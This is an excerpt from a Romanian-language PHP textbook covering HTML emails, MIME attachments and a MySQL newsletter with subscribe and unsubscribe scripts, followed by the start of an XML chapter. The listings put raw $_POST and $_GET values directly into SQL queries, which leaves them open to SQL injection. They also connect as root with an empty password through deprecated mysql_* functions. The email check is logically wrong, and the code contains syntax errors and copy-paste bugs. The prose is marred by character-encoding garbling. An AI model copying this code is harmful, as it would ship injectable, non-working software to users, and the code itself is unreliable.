format XHTML. Salvaþi scriptul respectiv în fiºierul xhtmlmail.php ºi executaþi-l (http://
127.0.0.1/email/xhtmlmail.php).
5.2. Mesaj de e-mail în format XHTML
<!DOCTYPE html
PUBLIC ”-//W3C//DTD XHTML 1.0 Transitional//EN”
”DTD/xhtml1-transitional.dtd”>
<html xmlns=”http://www.w3.org/1999/xhtml”>
<head>
<title>Mesaj de email cu conþinut XHTML</title>
</head>
<body>
<?php
$email_to = ”traian@localhost”;
$subject = ”Stadii de redactare ale articolelor”;
$message = ”
<html>
<head>Stadii de redactare ale articolelor</title>
</head>
<body>
<p style=’font-size: 20px; color: red;
text-align: center’>
84 PROGRAMAREA ÎN PHP

Salutari!</p>
<table align=’center’
style=’color: blue;’ cellpadding=’2’>
<caption>Stadii de redactare</caption>
<tr style=’background: #d3d8e0;>
<th>Titlu articol</th>
<th>stadiu</th></tr>
<tr>
<td>Functii PHP</td>
<td>Finalizat</td>
</tr>
<tr>
<td>POO in PHP</td>
<td>In curs de redactare</td>
</tr>
<tr>
<td>PHP si Java</td>
<td>Inceput</td>
</tr>
</table>

</body>
</html>”;
$headers = ”MIME-Version: 1.0\r\n”;
$headers .= ”Content-type: text/html;
charset=iso-8859-2\r\n”;
$headers .= ”To: Traian Anghel <traian@localhost>\r\n”;
$headers .= ”From: Dorina <dorina@localhost>\r\n”;
$headers .= ”Cc: arhiva@localhost\r\n”;
$ok = @mail($email_to, $subject, $message, $headers);
if($ok)
echo ”Mesajul a fost trimis”;
?>
</body>
</html>

Iatã cum se vede (figura 5.2) în clientul de poºtã electronicã Mozilla Thunderbird
mesajul trimis din scriptul inclus în listing-ul 5.2:
PHP ªI POªTA ELECTRONICÃ 85

Figura 5.2. În PHP, puteþi trimite mesaje de e-mail în format XHTML

Mesaje de e-mail cu fiºiere ataºate


Ataºamentul este un fiºier trimis împreunã cu un mesaj de e-mail. Fiºierul respectiv
poate avea orice tip. Pentru a trimite un mesaj de e-mail cu unul sau mai multe fiºiere
ataºate, antetul Content-Type al mesajului trebuie specificat astfel:
Content-Type: multipart/mixed; boundary=”BoundaryValue”
Dupã cum puteþi observa, antetul Content-Type are un parametru. Acesta este
boundary. Valoarea lui precizeazã un delimitator între diferite pãrþi ale corpului
mesajului, numite ataºamente. Aceastã valoare poate fi aleasã de programator dupã cum
doreºte, cu condiþia sã nu aparã în corpul mesajului. În PHP, în mod obiºnuit,
delimitatorul se precizeazã astfel:
$boundary_value=md5(uniquid(time()));
Pentru a împãrþi corpul mesajului de e-mail în mesajul propriu-zis ºi ataºamente se
procedeazã astfel: fiecare parte a corpului mesajului este precedatã de o secvenþã
alcãtuitã din douã liniuþe ( --), urmate imediat de valoarea parametrului boundary
(BoundaryValue ), adicã:
--BoundaryValue
Ultima parte a mesajului se terminã cu o secvenþã alcãtuitã din douã liniuþe, urmate
de valoarea parametrului boundary ºi de încã douã liniuþe:
--BoundaryValue--
Rezultã cã structura unui mesaj de e-mail cu ataºamente este urmãtoarea:
Headers

--BoundaryValue
86 PROGRAMAREA ÎN PHP

email Message

--BoundaryValue
email Message - attachment 1

--BoundaryValue
email Message - attachment 2

--BoundaryValue--

.
În listing-ul 5.3 este prezentat un script care permite trimiterea unui e-mail având un
fiºier ataºat (care conþine o imagine în format JPEG):
5.3. Mesaj de e-mail cu fiºier ataºat
<!DOCTYPE html
PUBLIC ”-//W3C//DTD XHTML 1.0 Transitional//EN”
”DTD/xhtml1-transitional.dtd”>
<html xmlns=”http://www.w3.org/1999/xhtml”>
<head>
<title>Mesaj de email cu conþinut XHTML</title>
</head>
<body>
<?php
// Calea catre fisierul atasat
$file_att = ”ina.jpg”;
// Tipul fisierului atasat
$file_att_type = ”image/jpeg”;
/* Numele de fisier care va fi utilizat pentru
fisierul atasat */
$file_att_name = ”ina.jpg”;
$email_from = ”contact@localhost\n”;
$email_subject = ”Fotografie promisa”;
$message = ” <p style=’font-family: verdana;
font-size: 24px; color: red;
text-align: center;’>
Iti trimit fotografia promisa!</p>”;
$email_to = ”traian@localhost”;
$headers = ”From: ”.$email_from.”\n”;
$headers .= ”Reply-To: contact@localhost\n”;
/* Fisierul care va fi atasat este deschis iar
continutul lui este stocat in variabila $data */
$file = fopen($file_att,’rb’);
$data = fread($file,filesize($file_att));
fclose($file);
/* Se creeaza delimitatorul dintre partile
PHP ªI POªTA ELECTRONICÃ 87

corpului mesajului */
$boundary_value = md5(uniqid(time()));
// Anteturile mesajului
$headers .= ”MIME-Version: 1.0\n”;
$headers .= ”Content-Type: multipart/mixed;
boundary=\”{$boundary_value}\”\n”;
$headers .= ”Content_Transfer-Encoding: 7bit”;
$email_message = ”--{$boundary_value}\n” .
”Content-Type:text/html;
charset=\”iso-8859-1\”\n” .
”Content-Transfer-Encoding: binary\n\n” .
$message . ”\n\n”;
// Se codifica MIME base64 datele care trebuie atasate
$data = chunk_split(base64_encode($data));
$email_message .= ”--{$boundary_value}\n” .
”Content-Type: {$file_att_type};” .
” name=\”{$file_att_name}\”\n” .
”Content-Transfer-Encoding: base64\n\n” .
$data . ”\n\n” .
”--{$boundary_value}--\n\n.”;
$ok = @mail($email_to, $email_subject,
$email_message, $headers);
if($ok)
echo ”Mesajul a fost trimis!”;
?>
</body>
</html>

Atunci când nu cunoaºteþi tipul fiºierului care va fi ataºat (de exemplu, în situaþia în
care acesta este ales de utilizator ºi transmis scriptului care va trimite e-mailul), utilizaþi
pentru acesta:
$file_att_type = ”application/octet-stream”;
Conþinutul fiºierului care trebuie ataºat este citit într-o variabilã PHP ($data) ºi
codificat MIME base64 utilizând funcþia base64_encode(), al cãrei prototip este
prezentat în continuare:
string base64_encode(string data)
Datele codificate sunt transmise funcþiei ca argumentul data. Rezultatul întors (datele
codificate) este cu circa 33% mai mare decât argumentul transmis acesteia (datele
originale).
Funcþia chunk_split() a fost utilizatã pentru a converti rezultatul întors de funcþia
base64_encode() în formatul impus de RFC 2045. Aceastã funcþie are urmãtorul
prototip:
string chunk_split(string body, [int chunklen]
[, string end]])
88 PROGRAMAREA ÎN PHP

Funcþia împarte ºirul body în pãrþi mai mici care conþin fiecare câte chunklen
caractere, insereazã la sfârºitul fiecãreia secvenþa end ºi întoarce ºirul astfel obþinut,
lãsând nemodificate datele originale (incluse în body). Valorile implicite (utilizate ºi în
scriptul prezentat în aceastã secþiune) ale argumentelor opþionale chunklen ºi end sunt
76 ºi, respectiv, ”\r\n”.
Cele douã funcþii prezentate anterior au fost utilizate împreunã în scriptul inclus în
listing-ul 5.3, astfel:
$data = chunk_split(base64_encode($data))

Salvaþi scriptul inclus în listing-ul 5.3 în fiºierul mailatt.php ºi executaþi-l (http://


127.0.0.1/email/mailatt.php). În continuare este prezentatã o parte din sursa mesajului
trimis (am prezentat numai o micã parte din datele binare pentru fiºierul ina.jpg), pe
care o puteþi obþine utilizând facilitãþile oferite de clientul de e-mail:
Date: Tue, 02 Aug 2005 21:34:52 +0200
Subject: Fotografie promisa
To: traian@localhost
From: contact@localhost
Reply-To: contact@localhost
MIME-Version: 1.0
Content-Type: multipart/mixed;
oundary=”e64642234c34eddfe14bb19bb27ea319”
Content_Transfer-Encoding: 7bit

--e64642234c34eddfe14bb19bb27ea319
Content-Type:text/html; charset=”iso-8859-1”
Content-Transfer-Encoding: binary

<p style=’font-family: verdana; font-size: 24px; color: red;


text-align: center;’>Iti trimit fotografia promisa!</p>

--e64642234c34eddfe14bb19bb27ea319
Content-Type: image/jpeg; name=”ina.jpg”
Content-Transfer-Encoding: base64

/9j/4AAQSkZJRgABAQEAyADIAAD/
2wBDAAMCAgMCAgMDAwMEAwMEBQgFBQQEBQoHBwYIDAoMDAsK
CwsNDhIQDQ4RDgsLEBYQERMUFRUVDA8XGBYUGBIUFRT/
2wBDAQMEBAUEBQkFBQkUDQsNFBQUFBQU==

--e64642234c34eddfe14bb19bb27ea319--

.
Iatã cum se vede (figura 5.3) în clientul de poºtã electronicã Mozilla Thunderbird
1.0.2 mesajul trimis din scriptul inclus în listing-ul 5.3:
PHP ªI POªTA ELECTRONICÃ 89

Trimiteþi fiºiere
ataºate mesajelor
de e-mail.

Figura 5.3. În PHP puteþi trimite mesaje de e-mail cu fiºiere ataºate

Newsletter cu PHP ºi MySQL


Ce este un newsletter?
Din punctul de vedere al utilizatorului, un newsletter este un e-mail impersonal
primit în mod regulat (de exemplu, zilnic, sãptãmânal sau lunar), dupã ce a
realizat operaþia de abonare, care, de cele mai multe ori, se rezumã la introducerea
adresei de e-mail într-un câmp de tip text al unui formular ºi apãsarea unui buton... Din
punctul de vedere al celui care îl creeazã ºi îl trimite, un newsletter poate fi privit din mai
multe puncte de vedere, dintre care menþionãm subiectul abordat, þinta cãreia i se
adreseazã ºi modul de promovare.
Dacã realizaþi un newsletter, este bine sã aveþi în vedere un subiect general, care
se va regãsi în fiecare mesaj de e-mail trimis abonaþilor. De exemplu, dacã sunteþi
administratorul unui sit Web care vinde produse online, puteþi realiza un newsletter
care va oferi în mod regulat abonaþilor (clienþi sau potenþiali clienþi) informaþii despre
produsele noi oferite spre vânzare.
În ceea ce priveºte þinta cãreia trebuie sã i se adreseze newsletterul, aceasta este
reprezentatã, în general, de utilizatorii care viziteazã în mod regulat situl dumneavoastrã.
Nu trimiteþi mesajele de e-mail unor persoane care nu s-au abonat, deoarece s-ar
putea sã nu obþineþi succesul dorit în promovarea produselor dumneavoastrã. Prevedeþi în
sit o modalitate prin care utilizatorul se poate abona la newsletter.

Structura unui newsletter


Nu existã reguli stricte pentru stabilirea structurii unui newsletter. Cu toate acestea, este
indicat ca el sã aibã urmãtoarele caracteristici:
• sã includã un titlu;
• sã specifice data sau perioada pentru care informaþiile incluse prezintã caracterul de
noutate;
90 PROGRAMAREA ÎN PHP

• informaþiile incluse sã fie prezentate pe scurt;


• sã conþinã legãturi, astfel încât informaþiile prezentate sã poatã fi urmãrite pe situl
dumneavoastrã, unde sunt dezvoltate pe larg;
• sã ofere utilizatorului posibilitatea de a renunþa la abonament oricând doreºte.

Realizaþi un newsletter
Vom prezenta o aplicaþie numitã Newsletter Editura Arete1. Aplicaþia permite cititorilor
editurii imaginare Arete:
• sã se aboneze la newsletterul editurii;
• sã-ºi valideze conturile create anterior;
• sã primeascã regulat prin e-mail informaþii despre noile apariþii editoriale;
• sã renunþe oricând doresc la abonament.
Creaþi directorul ed ºi un subdirector al acestuia, newsletter. Adresele de e-mail ale
utilizatorilor vor fi pãstrate într-o bazã de date. Vom folosi sistemul de gestiune a bazelor
de date MySQL. Utilizând un client MySQL, creaþi baza de date newsletter ºi tabelul
email, astfel:
mysql>CREATE DATABASE newsletter;
mysql>USE newsletter;
mysql>CREATE TABLE email (
->id VARCHAR(32) NOT NULL default ’’,
->address VARCHAR(20) NOT NULL default ’’,
->status ENUM(’active’,’inactive’)
->NOT NULL default ’invalid’,
->date DATE NOT NULL default ’0000-00-00’,
->PRIMARY KEY (address)
->);
Dupã cum se poate constata, tabelul email are patru câmpuri: id (identificator), de tip
VARCHAR , address (adresa de e-mail), de tip VARCHAR, status (statut), de tip ENUM, având
douã valori posibile (active ºi inactive), valoarea implicitã fiind inactive (ceea ce
înseamnã cã, dupã realizarea înscrierii, utilizatorul trebuie sã activeze contul creat; se
evitã astfel înscrierea unui utilizator de cãtre altul, fãrã acordul primului) ºi date (data
înscrierii). Câmpul address defineºte un index PRIMARY KEY, astfel încât în tabel nu pot
fi introduse douã adrese de e-mail identice. Identificatorul id al unui utilizator va fi obþinut
prin intermediul funcþiei md5(), care întoarce un ºir alcãtuit din 32 de caractere.
Presupunem cã Editura Arete publicã lucrãri din domeniul ºtiinþelor socioumane,
având trei subdomenii: logicã, psihologie ºi filozofie. Datele despre lucrãrile publicate
de editurã vor fi stocate în tabelul lucrari, inclus în baza de date newsletter.
Utilizând un client MySQL, creaþi tabelul lucrari astfel:
mysql>CREATE TABLE lucrari (
->id INT(4) NOT NULL auto_increment,
->domain ENUM(’logica’,’psihologie’,’filosofie’)

1. Areté – excelenþã într-un domeniu, virtute (Aristotel, Etica Nicomahicã; Platon, Menon).
PHP ªI POªTA ELECTRONICÃ 91

->NOT NULL default ’logica’,


->author VARCHAR(40) NOT NULL default ’’,
->title VARCHAR(150) NOT NULL default ’’,
->cover VARCHAR(40) NOT NULL default ’’,
->date DATETIME NOT NULL default ’0000-00-00 00:00:00’,
->description TEXT NOT NULL,
->status ENUM(’da’,’nu’) NOT NULL default ’da’,
->PRIMARY KEY (id)
->);
Câmpul id conþine un identificator al lucrãrii, câmpul coperta conþine numele unui
fiºier care include imaginea copertei lucrãrii respective, iar status include informaþii
despre disponibilitatea lucrãrii (este încã disponibilã pentru cumpãrare – da – sau este
epuizat㠖 nu). Conþinuturile celorlalte câmpuri sunt definite chiar de numele lor ºi, din
acest motiv, nu necesitã explicaþii. Introduceþi câteva înregistrãri în tabelul lucrari.
Toate paginile sitului (sau cel puþin o parte dintre ele) trebuie sã includã posibilitatea
de abonare la newsletter a utilizatorilor. În mod obiºnuit, în aceste pagini este inclus un
formular prin intermediul cãruia utilizatorul se poate abona. Secvenþa care realizeazã
abonarea poate fi similarã cu cea prezentatã în listing-ul 5.4. Pentru ca abonarea
utilizatorului sã poatã fi realizatã, este necesar ca adresa lui de e-mail sã fie validã (puteþi
sã realizaþi o validare mai complexã decât cea propusã utilizând expresii regulate).
Salvaþi codul PHP în fiºierul subscribe.php.
5.4. Fiºierul subscribe.php
<?php
require_once(”connect.inc”);
echo ”<table>
<tr><td>Aboneaza-te la newsletter</td></tr>
<tr><td align=\”center\”>
<form method=\”post\”
action=’”.$_SERVER[’PHP_SELF’].”’>
<input type=\”text\” name=\”email\”
size=\”15\”><br />
<input type=\”submit\” value=\”Abonare\”
</form></td></tr>
</table>
”;
$stat = ”ok”;
$message = ””;
if(isset($_POST[’email’])) {
$email = $_POST[’email’];
if(!stristr($email,”@”) && !stristr($email,”.”)) {
$message = ”Adresa introdusa nu este valida!”;
$stat = ”nook”;
}
if($stat == ”ok”) {
$id=md5(time());
92 PROGRAMAREA ÎN PHP

$query_insert = ”INSERT INTO email (id,address,date)


VALUES(’$id’,’$email’,CURDATE())”;
$result_insert = mysql_query($query_insert);
if($result_insert) {
$mess = ”Ati fost inscris la newsletterul ”.
”Editurii Arete. Pentru validarea ”.
”înscrierii faceti clic ”.
”<a href=\”http://127.0.0.1/”.
”email/ed/newsletter/activ.php?”.
”id=$id&action=subscribe\”>aici</a>.<br />”
.”Contul neactivat va fi sters automat ”.
”dupa cinci zile”;
$mess .= ”Pentru dezabonare faceti clic ”.
”<a href=\”http://127.0.0.1/”.
”email/ed/newsletter/activ.php?”.
”id=$id&action=unsubscribe\”>aici</a>”;
$headers = ”MIME-Version: 1.0\n”;
$headers .= ”Content-type: text/html;
charset=iso-8859-2\n”;
$headers .= ”From: newsletter@locahost”;
@mail($email,”Validare inscriere newletter”,
$mess,$headers);
$message = ”Multumim! Veti primi un e-mail cu ”
.”instructiuni pentru validarea inscrierii.”;
}
else
$message=”Aceasta adresa exista deja!”;
}
}
echo $message;
?>

Funcþia PHP stristr() are urmãtorul prototip:


string stristr(string haystack, string needle)
Funcþia stristr() întoarce o porþiune din ºirul haystack, începând cu prima
apariþie a ºirului needle pânã la sfârºit. Dacã needle nu este gãsit, întoarce valoarea
FALSE .
Fiºierul connect.inc include parametrii de conectare la serverul MySQL ºi realizeazã
conectarea (vezi listing-ul 5.5).
5.5. Fiºierul connect.inc
<?php
$host = ”localhost”;
$user = ”root”;
$password = ””;
$database = ”newsletter”;
PHP ªI POªTA ELECTRONICÃ 93

mysql_connect($host,$user,$password);
mysql_select_db($database);
?>

Dacã adresa de e-mail introdusã de utilizator este validã (adicã include caracterele
„@” ºi „.” ), ea va fi introdusã în tabelul email. Totodatã, este trimis un mesaj de e-mail
utilizatorului, prin care acesta este invitat sã-ºi activeze contul. Mesajul include o
referinþã cãtre fiºierul de validare. Referinþa conþine identificatorul utilizatorului ºi tipul
acþiunii care va fi efectuatã (subscribe), necesare pentru activarea contului, fiind introdusã
astfel:
Pentru validarea înscrierii faceti clic
<a href=\”http://127.0.0.1/email/ed/newsletter/
activ.php?id=$id&action=subscribe\”>aici</a>
Codul utilizat pentru activarea conturilor abonaþilor (funcþia subscribe()) este
inclus în fiºierul activ.php (vezi listing-ul 5.6). Totodatã, fiºierul respectiv include ºi
codul utilizat pentru dezabonarea acestora (funcþia unsubscribe() ).

5.6. Fiºierul activ.php


<?php
include_once(”connect.inc”);
$message = ””;
// Functie pentru activarea conturilor utilizatorilor
function subscribe($identificator) {
global $message;
$query= ”UPDATE email SET status=’active’
WHERE id=’$identificator’ AND ”.
”DATE_ADD(date,INTERVAL 14 DAY) >= CURDATE()”;
$result = mysql_query($query);
if($result)
$message = ”Contul dumneavoastra a fost activat!”;
else
$message = ”Contul dumneavoastra nu a fost activat!”;
}
// Functie pentru dezabonarea utilizatorilor
function unsubscribe($identificator) {
global $message;
$query= ”DELETE FROM email WHERE id=’$identificator’”;
$result = mysql_query($query);
if($result)
$message = ”Contul dumneavoastra a fost sters!”;
else
$message = ”Eroare. Contul dumneavoastra nu a ”.
”fost sters!”;
}
// Se realizeaza operatia ceruta
if(isset($_GET[’id’]) && isset($_GET[’action’])) {
94 PROGRAMAREA ÎN PHP

$id = $_GET[’id’];
$action = $_GET[’action’];
if($action == ”subscribe”)
subscribe($id);
if($action == ”unsubscribe”)
unsubscribe($id);
}
else
$message = ”Eroare. Nu ati precizat informatiile ”.
”necesare!”;
echo $message;
?>
Scriptului din listing-ul 5.6 îi sunt transmiºi doi parametri: identificatorul utili-
zatorului (introdus în script prin $_GET[’id’]) al cãrui cont urmeazã a fi activat,
respectiv ºters ºi acþiunea care trebuie efectuatã (introdus în script prin $_GET[’action’]).
Acþiunea poate fi subscribe (activarea contului) ºi, respectiv, unsubscribe (ºtergerea
contului).
Activarea contului va fi fãcutã de utilizator prin intermediul mesajului de e-mail
primit în momentul înscrierii, într-un termen rezonabil (14 zile, în exemplul nostru).
Dezabonarea poate fi fãcutã de utilizator oricând, deoarece orice mesaj de e-mail (chiar
ºi cel de la înscriere) primit de acesta va conþine o referinþã cãtre fiºierul activ.php:
Pentru dezabonare faceti clic
<a href=\”http://127.0.0.1/email/ed/newsletter/activ.php?
id=$id&action=unsubscribe\”>aici</a>
Pentru a elimina conturile care nu au fost activate în termenul stabilit (14 zile) puteþi
utiliza urmãtoarea secvenþã de cod:
$query = ”DELETE FROM email WHERE .”
”DATE_ADD(date,INTERVAL 14 DAY) < CURDATE()”;
mysql_query($query);
Secvenþa anterioarã trebuie executatã în mod regulat. Din acest motiv, o puteþi
introduce la începutul scriptului care trimite newsletterul.
Salvaþi în fiºierul newsletter.php codul-sursã inclus în listing-ul 5.7. În urma execuþiei
scriptului, newsletterul este trimis abonaþilor care ºi-au activat conturile.
5.7. Fiºierul newsletter.php
<!DOCTYPE html
PUBLIC ”-//W3C//DTD XHTML 1.0 Transitional//EN”
”DTD/xhtml1-transitional.dtd”>
<html xmlns=”http://www.w3.org/1999/xhtml”>
<head>
<title>Editura Arete - Newsletter</title>
</head>
<body>
<?php
include_once(”connect.inc”);
PHP ªI POªTA ELECTRONICÃ 95

// Este inclus generatorul newsletter-ului


include(”newsletter_generator.php”);
// Sunt eliminati vizitatorii care nu si-au activat contul
$query = ”DELETE FROM email WHERE ”.
”DATE_ADD(date,INTERVAL 14 DAY) < CURDATE()”;
mysql_query($query);
// Subiectul mesajelor
$subject = ”Newsletter \”Editura Arete\”: ”.date(”d F, Y”);
// Anteturi MIME
$headers = ”MIME-Version: 1.0\n”;
$headers .= ”Content-Type: text/html;charset=iso-8859-2\n”;
$headers .= ”From: Newsletter <newsletter@localhost>\n”;
// Sunt extrase datele abonatilor
$query=”SELECT * from email WHERE status=’active’”;
$result=mysql_query($query) or
die(”Nu au fost extrase adresele”);
// Newsletter-ul este trimis fiecarui abonat cu cont activ
while($row = mysql_fetch_array($result)) {
$id = $row[’id’];
$footer= ”<p class=’unsubscribe’>
Pentru dezabonare faceti click
<a href=\”http://127.0.0.1/email/ed/newsletter/
activ.php?id=$id&action=unsubscribe\”>aici</a></p>”;
@mail($row[’address’],$subject,
$newsletter.$footer,$headers);
// Se introduce o pauza de o secunda intre mesaje
sleep(1);
}
echo ”<p align=’center’>Newsletter-ul a fost trimis</p>”;
?>
</body>
</head>

Conþinutul fiºierul newsletter_generator.php este inclus în listing-ul 5.8.


5.8. Fiºierul newsletter_generator.php
<?php
$url_images = ”http://127.0.0.1/email/ed/images/”;
$url_title = ”http://127.0.0.1/email/ed/books.php”;
$nletter = ”
<html>
<head>
<meta http-equiv=\”Content-Type\”
content=\”text/html;charset=iso-8859-2\”>
<link rel=\”stylesheet\”
href=\”http://127.0.0.1/email/ed/newsletter/style.css\” />
</head>
96 PROGRAMAREA ÎN PHP

<body>”;
$nletter .= ”<p class=’intro’>
Stimate cititor, îþi prezentãm ultimele
cãrþi apãrute la Editura Arete</p>”;
$nletter .= ”<center><img width=’700’ height=’80’
src=’http://127.0.0.1/email/ed/images/editura.jpg’>
</center><br />”;
$nletter .= ”<table align=’center’ class=’tab’
cellpadding=’5’>”;
// Sunt incluse lucrarile din domeniul Logicii
$query = ”SELECT * FROM lucrari WHERE domain=’logica’
AND DATE_ADD(date,INTERVAL 7 DAY) >= NOW()”;
$result = mysql_query($query);
while($row = mysql_fetch_array($result)) {
$id=$row[’id’];
$author = $row[’author’];
$title = $row[’title’];
$description = $row[’description’]);
$cover = $row[’cover’];
$nletter .= ”<tr><td colspan=\”4\” class=’section’>
In sectiunea Logicã au aparut</td><tr>”;
$nletter .= ”<tr>
<td width=’10%’ class=’image’>
<img src=’”.$url_images.$cover.”’></td>
<td width=’15%’ class=’author’>”.
$author.”</td>
<td width=’15%’ class=’title’>
<a class=’link-title’ href=’”.$url_title.
”?section=logica&id=”.$id.”’>”.$title.”</a>
</td><td class=’description’>”.$description.
”</td></tr>”;
}
// Sunt incluse lucrarile din domeniul Psihologiei
$query = ”SELECT * FROM lucrari WHERE domain=’psihologie’
AND DATE_ADD(date,INTERVAL 7 DAY) >= NOW()”;
$result = mysql_query($query);
while($row = mysql_fetch_array($result)) {
$id=$row[’id’];
$author = $row[’author’];
$title = $row[’title’];
$description = $row[’description’]);
$cover = $row[’cover’];
$nletter .= ”<tr><td colspan=\”4\” class=’section’>
In sectiunea Psihologie au aparut</td><tr>”;
$nletter .= ”<tr>
<td width=’10%’ class=’image’>
PHP ªI POªTA ELECTRONICÃ 97

<img src=’”.$url_images.$cover.”’></td>
<td width=’15%’ class=’author’>”.
$author.”</td>
<td width=’15%’ class=’title’>
<a class=’link-title’ href=’”.$url_title.
”?section=logica&id=”.$id.”’>”.$title.”</a>
</td><td class=’description’>”.$description.
”</td></tr>”;
}
// Sunt incluse lucrari din domeniul Filosofiei
$query = ”SELECT * FROM lucrari WHERE domain=’filosofie’
AND DATE_ADD(date,INTERVAL 7 DAY) >= NOW()”;
$result = mysql_query($query);
while($row = mysql_fetch_array($result)) {
$id=$row[’id’];
$author = $row[’author’];
$title = $row[’title’];
$description = $row[’description’]);
$cover = $row[’cover’];
$nletter .= ”<tr><td colspan=\”4\” class=’section’>
In sectiunea Filosofie au aparut</td><tr>”;
$nletter .= ”<tr>
<td width=’10%’ class=’image’>
<img src=’”.$url_images.$cover.”’></td>
<td width=’15%’ class=’author’>”.
$author.”</td>
<td width=’15%’ class=’title’>
<a class=’link-title’ href=’”.$url_title.
”?section=logica&id=”.$id.”’>”.$title.”</a>
</td><td class=’description’>”.$description.
”</td></tr>”;
}
// Se adauga un mesaj de final
$nletter .= ”<tr height=’20’><td colspan=’4’></td></tr>
</table>”;
$info = ”<p class=’footer’>Redactia <a class=’link’
href=\”http://127.0.0.1/email/ed\”>Editurii Arete</a>
va doreste o zi buna</p>”;
$nletter .= $info;
?>
98 PROGRAMAREA ÎN PHP

În continuare este prezentat mesajul de e-mail primit de un utilizator dupã execuþia


scriptului newsletter.php, vizualizat cu clientul de e-mail Mozilla Thunderbird.
afiºate dupã executarea scriptului din listing-ul 5.7

S-a presupus cã scriptul inclus fiºierul books.php realizeazã afiºarea cãrþilor publicate
de editurã (acest fiºier nu este prezentat). La apelarea scriptului sunt trimiºi doi para-
metri: section, care indicã secþiunea în care se aflã lucrarea, ºi id, identificatorul
lucrãrii, ca în exemplul urmãtor:
<a class=’link-title’ href=’”.
$url_title.”?section=logica&id=”.$id.”’>”.$title.”</a>
Se trimit informaþii despre cãrþile publicate în ultima sãptãmânã (ºapte zile) în
raport cu data curentã. Astfel, newsletterul poate fi trimis sãptãmânal.
Scriptul care trimite mesajele de e-mail cititorilor abonaþi la newsletter va trebui
executat în mod periodic (o datã pe sãptãmânã, de exemplu, în cazul unei edituri sau
zilnic, dacã este vorba de un cotidian). Din acest motiv, este recomandat ca aceastã
execuþie sã se realizeze automat utilizând daemonul cron pe servere UNIX/Linux (vezi,
în aceastã lucrare, capitolul dedicat planificãrii execuþiei scripturilor), respectiv Task
Scheduled pe servere Windows. În situaþia în care interesele organizaþiei ce trimite
newsletterul o impun, se poate realiza execuþia „manual㔠a scriptului, la momentele
dorite.
PHP ªI POªTA ELECTRONICÃ 99

CAPITOLUL 6

PHP ºi XML
„Variaþia în muncã este întotdeauna o
adevãratã destindere.”
J.-J. Rousseau

În acest capitol veþi învãþa sã creaþi scripturi PHP pentru pro-


cesarea documentelor XML (utilizând metodele SAX ºi DOM),
precum ºi pentru transformarea XSLT a acestora. În acest scop,
veþi utiliza extensiile PHP ºi câteva pachete PEAR.

Noþiuni generale despre XML


Limitãri ale limbajului HTML
În principiu, singurul lucru care poate fi fãcut cu HTML este de a realiza documente
Web în scopul de a fi afiºate (prezentate) în browserele utilizatorilor. Din acest motiv, se
spune cã HTML este un limbaj de prezentare. Limitãrile limbajului HTML sunt urmã-
toarele:
• inexistenþa informaþiei semantice (ceea ce înseamnã cã HTML descrie modul în care
este prezentatã informaþia fãrã a spune nimic despre aceasta);
• lipsa suportului pentru programare;
• existenþa unor probleme de compatibilitate între documente aflate pe diverse plat-
forme;
• absenþa modularizãrii.

Introducere în limbajul XML


XML (Extensible Markup Language) este un metalimbaj de marcare creat de Consorþiul
Web (http://www.w3.org), reprezentând baza pentru un numãr mare de alte limbaje.
Spre deosebire de HTML, limbajul XML permite programatorului sã separe informaþia
de prezentarea ei (nu precizeazã informaþii despre afiºarea acesteia). Aceastã separare
este utilã, permiþându-i sã se concentreze asupra structurii ºi sã realizeze documente
autodescriptive. Pe de altã parte, nu este necesar întotdeauna ca datele XML sã fie
afiºate (ele pot fi stocate, de exemplu, în baze de date). Ideea separãrii informaþiei de
prezentare a apãrut din necesitatea utilizãrii informaþiilor nu numai în PC-uri, dar ºi în
100 PROGRAMAREA ÎN PHP

alte dispozitive care pot fi conectate la Internet (în special, dispozitive mobile, aºa cum
sunt PDA-urile – Personal Digital Assistant – ºi telefoanele mobile).
XML este independent de platformã, extensibil ºi complet compatibil Unicode.
De asemenea, XML poate fi utilizat într-o mare varietate de contexte (e.g.,
transferul de date între aplicaþii), unele dintre acestea neavând de-a face cu
interacþiunea dintre utilizator ºi conþinut (e.g., serviciile Web utilizeazã XML pentru a
trimite cereri ºi rãspunsuri).
În concluzie, XML satisface urmãtoarele douã condiþii:
• separã informaþia de prezentare (pentru afiºarea informaþiei incluse în documentele
XML sunt necesare alte tehnologii);
• permite transferul datelor între aplicaþii (e.g., servicii Web).
Ca ºi SGML (din care este derivat), XML este, de fapt, un metalimbaj, adicã un
limbaj care permite crearea altor limbaje. În continuare sunt enumerate câteva dintre
limbajele derivate din XML:
• WML (Wireless Markup Language): limbaj utilizat în comunicaþiile realizate prin
WAP (Wireless Application Protocol);
• SVG (Scalable Vector Graphics): limbaj de structurare a informaþiilor grafice în
format vectorial;
• RDF (Resource Description Framework): limbaj pentru descrierea unui format universal
pentru date în Web, furnizând interoperabilitate între aplicaþiile care schimbã informaþii;
• RSS (Really Simple Syndication): limbaj utilizat pentru Web syndication (punerea la
dispoziþie pe Web a informaþiilor actualizabile);
• XHTML (Extensible HTML): limbaj obþinut prin redefinirea HTML în termenii
limbajului XML;
• SMIL (Synchronized Multimedia Integration Language): limbaj utilizat pentru reali-
zarea prezentãrilor multimedia sincronizate pe Web.
Utilizând limbajul XML, programatorul are posibilitatea:
• sã defineascã propriile elemente (limbajul nu are un set predefinit de elemente);
• sã facã elementele independente de platforma hardware/software;
• sã proceseze documentele XML create.
Pentru a utiliza elemente introduse de el însuºi, utilizatorul trebuie sã le
stabileascã semnificaþia (adicã sã le descrie). Sunt folosite mai multe limbaje
pentru descrierea structurii unui document XML, aºa cum sunt: DTD (Document
Type Definition), XML Schema (elaborat de W3), RELAX NG (elaborat de OASIS
Group) ºi XML Data-Reduced (W3). Documentele scrise în aceste limbaje servesc la
validarea documentelor XML.

Structura documentelor XML


În legãturã cu terminologia utilizatã pentru a descrie conþinutul unui document XML,
sunt utile definiþiile prezentate în continuare.
Elementul este unitatea de structurã a unui document XML, fiind declarat în
DTD. Modelul conþinutului elementului este, de asemenea, declarat în DTD.
Un element este alcãtuit dintr-un marcaj de deschidere, un conþinut (reprezentat
PHP ªI XML 101

de o datã de un anumit tip) ºi un marcaj de închidere. Marcajele de deschidere ºi de


închidere sunt folosite pentru a preciza începutul ºi, respectiv, sfârºitul unui element. Un
atribut furnizeazã informaþii suplimentare despre un element (în principiu, un element
poate sã nu aibã nici un atribut sau poate avea unul sau mai multe). Nodul este parte a
structurii ierahice a unui document XML, fiind un termen generic care se aplicã oricãrui
tip de obiect XML (instrucþiuni de procesare, elemente, atribute, comentarii ºi text
simplu).
Atunci când defineºte propriile elemente XML, programatorul trebuie sã respecte
urmãtoarele reguli:
• acestea sunt case sensitive;
